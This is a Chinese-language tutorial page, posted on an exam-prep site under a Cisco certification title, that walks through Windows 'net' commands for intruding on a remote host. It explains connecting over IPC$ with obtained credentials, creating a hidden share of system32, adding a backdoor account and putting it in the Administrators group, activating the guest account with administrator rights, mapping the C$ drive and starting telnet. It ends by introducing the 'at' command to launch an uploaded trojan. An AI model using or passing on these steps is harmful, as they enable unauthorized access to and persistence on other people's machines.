思科认证:入侵命令详解 PDF转换可能丢失图片或格式，建议阅读原文
https://www.100test.com/kao_ti2020/224/2021_2022__E6_80_9D_E7_A7_91_E8_AE_A4_E8_c101_224546.htm
---------- 1：NET 只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！ 这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1 net use \\127.0.0.1\ipc$ 123456 /user:hbx null密码为空 退出的命令是 net use \\127.0.0.1\ipc$ /0delete ---------- net share是查看主机共享资源我们用它建一个秘密共享目录吧net share me=c:\winnt\system32 这样这个机器就有了一个名为me的共享目录，而打开它就是winnt下的system32目录，如果你用win2000的系统就知这个目录有多重要了，如果不想要也好办net share me /0delete 呵呵，没有了，是不是很方便的啊。 ---------- ---------- ---------- 下面的操作你必须登陆后才可以用.登陆的方法就在上面. ---------- ---------- ---------- 下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户. 我们加一个heibai的用户密码为lovechina net user heibai lovechina /add 只要显示命令成功，那么我们可以把他加入Administrator组了. net localgroup Administrators heibai /add ---------- 这里是讲映射对方的C盘，当然其他盘也可以，只要存在就行了.我们这里把对方的C盘映射到本地的Z盘. net use z:\\127.0.0.1\c$ ---------- net start telnet 这样可以打开对方的TELNET服务. ---------- 这里是

将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。 net user guest /active:yes ---------- net user guest /active:no这样这个guest的用户就又被禁用了 ---------- 这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！ net user guest lovechina 有人问到提高权限的问题 下面就解决下 net localgroup administrators guest /add 将guest变为administrator net命令果然强大啊！ net view命令看对方开了共享

---------- net user是查看所有用户列表，看看哪个用户是和你一样偷跑进来的，给他名给删掉，让他美， net user 用户名 /0delete哈哈,他没有了,管他什么是不是管理员呢,不过我们还是查一下管理员组有什么用户吧,这样的用户才对我们有用嘛 net localgroup administrators就列出管理员组成员了,再查看一下administrator这个用户，因为这个是创建系统时建出来的，所以要看看他的系统是什么时间创建出来的 net user administrator，然后再查看别的管理员用户是什么时间创建的，如果相差太远，那可能是被别人偷偷跑来偷建的，一律del，安全第一哦.....

---------- 2:at 一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？ 那么需要用AT命令，这里假设你已经登陆了那个服务器。[1] [2] [3] [4] [5] 下一页 100Test 下载频道开通，各类考试题目直接下载。详细请访问 www.100test.com